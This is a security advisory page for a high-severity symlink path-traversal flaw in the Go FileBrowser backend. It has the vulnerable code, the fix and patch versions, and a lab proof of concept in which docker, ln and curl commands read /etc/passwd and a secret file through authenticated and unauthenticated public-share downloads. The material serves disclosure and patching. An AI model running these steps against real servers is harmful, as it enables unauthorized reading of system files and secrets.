Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

FileBrowser: Symlink following escapes user scope allowing arbitrary file read outside the served directoryGHSA-mgqf-5mf5-prfj

HIGHFix: gtsteffaniak/filebrowser#2795

GHSA-mgqf-5mf5-prfj is a high-severity (CVSS 8.6) Path Traversal vulnerability in github.com/gtsteffaniak/filebrowser/backend. A fix is available for github.com/gtsteffaniak/filebrowser/backend — see the affected versions and patch details below.

Also known asCVE-2026-116682
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 28, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs45th percentile — riskier than 45% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-mgqf-5mf5-prfj by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 396,966 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹github.com/gtsteffaniak/filebrowser/backend

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

File read paths resolve symbolic links with filepath.EvalSymlinks and then operate on the resolved target without re-checking that the target still lies inside the user's source/scope.

A symlink located inside a user's accessible directory that points outside the scope (for example to /etc/passwd, another tenant's directory, SSH keys, or container secrets) is followed transparently, and its contents are served through the normal download, preview, media, and OnlyOffice endpoints. Any authenticated user with download access can read files anywhere the server process can, whenever such a symlink is reachable in their scope.

The same symlink-following read path is used by the public share endpoints, which are authorized only by a share hash and not by any account, so when a public share exposes a directory that contains such a symlink, an unauthenticated attacker holding only the share link reads files outside the scope with no credential.

Details

1. Symlink resolution performs no containment check (indexing/iteminfo/utils.go:110-119)

func ResolveSymlinks(path string) (string, bool, error) {
    resolvedPath, err := filepath.EvalSymlinks(path)   // follows the link to its real target
    if err != nil {
        return path, false, fmt.Errorf("could not resolve symlinks for %s: %v", path, err)
    }
    info, err := os.Lstat(resolvedPath)
    // ...
    return resolvedPath, IsDirectory(info), nil         // returned with no scope validation
}

There is no comparison of resolvedPath against the index/scope root.

2. GetRealPath returns the resolved target unchecked (indexing/indexingFiles.go:991-1008)

absolutePath, err := filepath.Abs(joinedPath)
// ...
realPath, isDir, err := iteminfo.ResolveSymlinks(absolutePath)   // escapes scope here
// ...
return realPath, isDir, err

realPath is then used by file handlers to open and serve the file. No caller re-validates that realPath is a descendant of the user's source root. (By contrast, the project did add containment for archive extraction via symlinkTargetStaysUnderDest, but that guard is specific to extraction and is not applied to this general read path.)

3. The read handlers request symlink following, including the unauthenticated public-share handlers (http/resource.go:96,503, http/media.go:124, http/onlyOffice.go:133, http/public.go:279,441,494)

FollowSymlinks: true,

Authenticated download, preview, media-subtitle, and OnlyOffice read flows all set FollowSymlinks: true, and so do the public share handlers in http/public.go. The public download route is registered as publicApi.HandleFunc("GET /resources/download", withHashFile(publicDownloadHandler)) (http/httpRouter.go:130), where withHashFile authorizes by the share hash alone with no account, so the same escape is reachable with no authentication when a public share exposes a directory containing the symlink.

PoC

Confirmed live on gtstef/filebrowser:1.3.3-stable. A symlink pointing outside the user's directory must exist inside it; here it is placed on the host volume, which is what happens whenever a bind-mounted directory contains symlinks.

1. Start a fresh container and seed a file outside the user's intended subtree.

docker rm -f fb-q-lab 2>/dev/null; rm -rf /tmp/fb-q-lab; mkdir -p /tmp/fb-q-lab/srv/user1
echo "ROOT_DB_PASSWORD=supersecret" > /tmp/fb-q-lab/srv/secret-outside.txt
docker run -d --name fb-q-lab -p 8090:80 -v /tmp/fb-q-lab/srv:/srv gtstef/filebrowser:1.3.3-stable && sleep 8
TARGET_URL=http://localhost:8090

2. Place symlinks inside the served tree that point outside it. One points at a host file (/etc/passwd), one at the file outside the user's subtree.

docker exec fb-q-lab sh -c 'ln -sf /etc/passwd /srv/user1/passwd_link; ln -sf /srv/secret-outside.txt /srv/user1/secret_link'

Vector 1: authenticated user (any account with download access)

3. Log in as the default admin (the token is passed as the auth query parameter).

ADMIN_TOKEN=$(curl -s -X POST "$TARGET_URL/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')

4. Download through the symlinks and read files from outside the scope.

curl -s "$TARGET_URL/api/resources/download?file=/user1/passwd_link&source=srv&auth=$ADMIN_TOKEN" | head -1
curl -s "$TARGET_URL/api/resources/download?file=/user1/secret_link&source=srv&auth=$ADMIN_TOKEN"

Observed output:

[passwd_link] root:x:0:0:root:/root:/bin/sh
[secret_link] ROOT_DB_PASSWORD=supersecret

Vector 2: unauthenticated, via a public share (no account)

5. The owner creates a public share of the directory (a normal use of the share feature). This is the only step that needs an account.

SHARE_HASH=$(curl -s -X POST "$TARGET_URL/api/share?auth=$ADMIN_TOKEN" \
  -H 'Content-Type: application/json' -d '{"path":"/user1","source":"srv"}' \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['hash'])")

6. With only the public share hash and no credential, download through the symlink.

curl -s "$TARGET_URL/public/api/resources/download?hash=$SHARE_HASH&file=/passwd_link" | head -1
curl -s "$TARGET_URL/public/api/resources/download?hash=$SHARE_HASH&file=/secret_link"

Observed output:

[passwd_link] root:x:0:0:root:/root:/bin/sh   (HTTP 200)
[secret_link] ROOT_DB_PASSWORD=supersecret

Both vectors follow each symlink to its target and return content from outside the served directory. Vector 1 works for any scoped non-admin user confined to /user1. Vector 2 needs no account at all, only the public share link, which is why the CVSS score uses PR:N.

Impact

  • Arbitrary file read outside scope: any authenticated user with download access can read any file the server process can access (host configuration, secrets, SSH keys, /etc/passwd, container service-account tokens, other tenants' files).
  • Unauthenticated read via public shares: because the public share download path follows symlinks and is authorized only by the share hash, an attacker with no account reads the same out-of-scope files using only a public share link to a directory that contains such a symlink. This is the PR:N worst case driving the score.
  • Cross-tenant data exposure: in multi-user deployments, one user reads other users' scoped files through a symlink.
  • Broad sink coverage: the same gap affects authenticated download, preview, media/subtitle, and OnlyOffice read flows and the public share handlers, all of which follow symlinks.
  • Precondition: a symlink pointing outside the scope must be reachable in the served directory (for the unauthenticated vector, inside a publicly shared directory). This is common where host directories are bind-mounted (the typical Docker deployment) or where scopes overlap shared storage.

Recommended Fix

After resolving symlinks, verify the resolved real path is still contained within the user's source root, and reject otherwise:

// indexing/indexingFiles.go, GetRealPath, after ResolveSymlinks:
rootReal, _ := filepath.EvalSymlinks(idx.Path)
rel, err := filepath.Rel(rootReal, realPath)
if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(os.PathSeparator)) {
    return "", false, fmt.Errorf("resolved path escapes source scope")
}

Apply the same containment check (or reuse the existing symlinkTargetStaysUnderDest logic) on every read path that sets FollowSymlinks: true. As a deployment-hardening option, add a setting to refuse to follow symlinks that leave the source root entirely.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/gtsteffaniak/filebrowser/backendall versions0.0.0-20260814233832-4126edeb07a0go get github.com/gtsteffaniak/filebrowser/backend@v0.0.0-20260814233832-4126edeb07a0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gtsteffaniak/filebrowser/backend, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/gtsteffaniak/filebrowser/backend to 0.0.0-20260814233832-4126edeb07a0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-mgqf-5mf5-prfj is resolved across your whole dependency graph.

  3. Workarounds

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Frequently Asked Questions

## Summary File read paths resolve symbolic links with `filepath.EvalSymlinks` and then operate on the resolved target without re-checking that the target still lies inside the user's source/scope. A symlink located inside a user's accessible directory that points outside the scope (for example to `/etc/passwd`, another tenant's directory, SSH keys, or container secrets) is followed transparently, and its contents are served through the normal download, preview, media, and OnlyOffice endpoints. Any authenticated user with download access can read files anywhere the server process can, whene
O3 Security · Impact-Aware SCA

Is GHSA-mgqf-5mf5-prfj in your dependencies?

Find it across Go, including transitive dependencies.

FileBrowser: Symlink following escapes user scope…